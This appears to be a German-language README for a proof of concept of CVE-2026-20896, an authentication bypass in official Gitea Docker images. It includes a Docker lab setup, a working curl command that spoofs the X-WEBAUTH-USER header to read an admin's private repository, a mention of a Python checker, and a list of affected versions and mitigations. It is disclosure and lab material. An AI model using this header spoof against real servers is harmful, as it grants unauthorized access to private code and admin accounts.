
CVE-2026-20896 — Updated!
Gitea Docker-Image-Authentifizierungsumgehung
CVE-2026-20896: Gitea Docker Image Authentication Bypass PoC
[!WARNING] Verwenden Sie dieses PoC nur in einem lokalen Labor oder gegen ein System, das Sie ausdrücklich testen dürfen.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
Übersicht
CVE-2026-20896 ist ein Authentication Bypass in betroffenen offiziellen Gitea-Docker-Images. Wenn Reverse-Proxy-Authentifizierung aktiviert ist, ermöglicht die vom Image generierte Einstellung REVERSE_PROXY_TRUSTED_PROXIES = * einem Client, der das Gitea-Backend erreichen kann, sich über den X-WEBAUTH-USER-Header als bestehender Benutzer auszugeben.
Das Labor erstellt einen Administrator namens gitea-admin mit einem zufälligen Passwort und speichert CVE-2026-20896_AUTH_BYPASS_CONFIRMED im privaten Repository gitea-admin/private-proof. Das Lesen dieser Datei ohne Kenntnis des zufälligen Administrator-Passworts demonstriert den Bypass.
Betroffene Versionen
| Kategorie | Version |
|---|---|
| Verwundbar | Offizielle gitea/gitea-Docker-Images ≤ 1.26.2 |
| Erstmals gepatcht | 1.26.3 |
| Empfohlen | 1.26.4 oder später |
Die verwundbare Konfiguration erfordert, dass Reverse-Proxy-Authentifizierung aktiviert ist und das Gitea-Backend direkt erreichbar ist, oder dass ein vorgelagerter Proxy den vom Angreifer bereitgestellten Identitäts-Header beibehält. Für diese lokale Reproduktion ist kein Reverse-Proxy-Container erforderlich.
Umgebung
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Warten Sie einige Sekunden, bis Gitea und das private Proof-Repository initialisiert sind.
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Eine erfolgreiche Ausnutzung gibt CVE-2026-20896_AUTH_BYPASS_CONFIRMED zurück.
Python
python poc.py http://127.0.0.1:3000
Das Skript vergleicht nicht authentifizierte, Nicht-Administrator- und gefälschte Administrator-Anfragen und gibt VULNERABLE aus, wenn der Autorisierungs-Bypass bestätigt wird. Es erfordert Python 3.10 oder später und verwendet nur die Standardbibliothek.
Auswirkungen
- Identitätswechsel bekannter oder erratbarer Gitea-Benutzer
- Unautorisierter Zugriff auf private Repositories und Benutzerressourcen
- Administrative Aktionen, wenn ein Administratorkonto nachgeahmt wird
Gegenmaßnahmen
- Upgrade auf Gitea 1.26.3 oder später; 1.26.4 oder später wird empfohlen.
- Beschränken Sie
REVERSE_PROXY_TRUSTED_PROXIESauf vertrauenswürdige Proxy-Adressen. - Verhindern Sie direkten Zugriff auf das Gitea-Backend und überschreiben Sie extern bereitgestellte Identitäts-Header.
- Deaktivieren Sie Reverse-Proxy-Authentifizierung, wenn sie nicht erforderlich ist.
Bereinigung
docker stop cve-2026-20896-gitea-vuln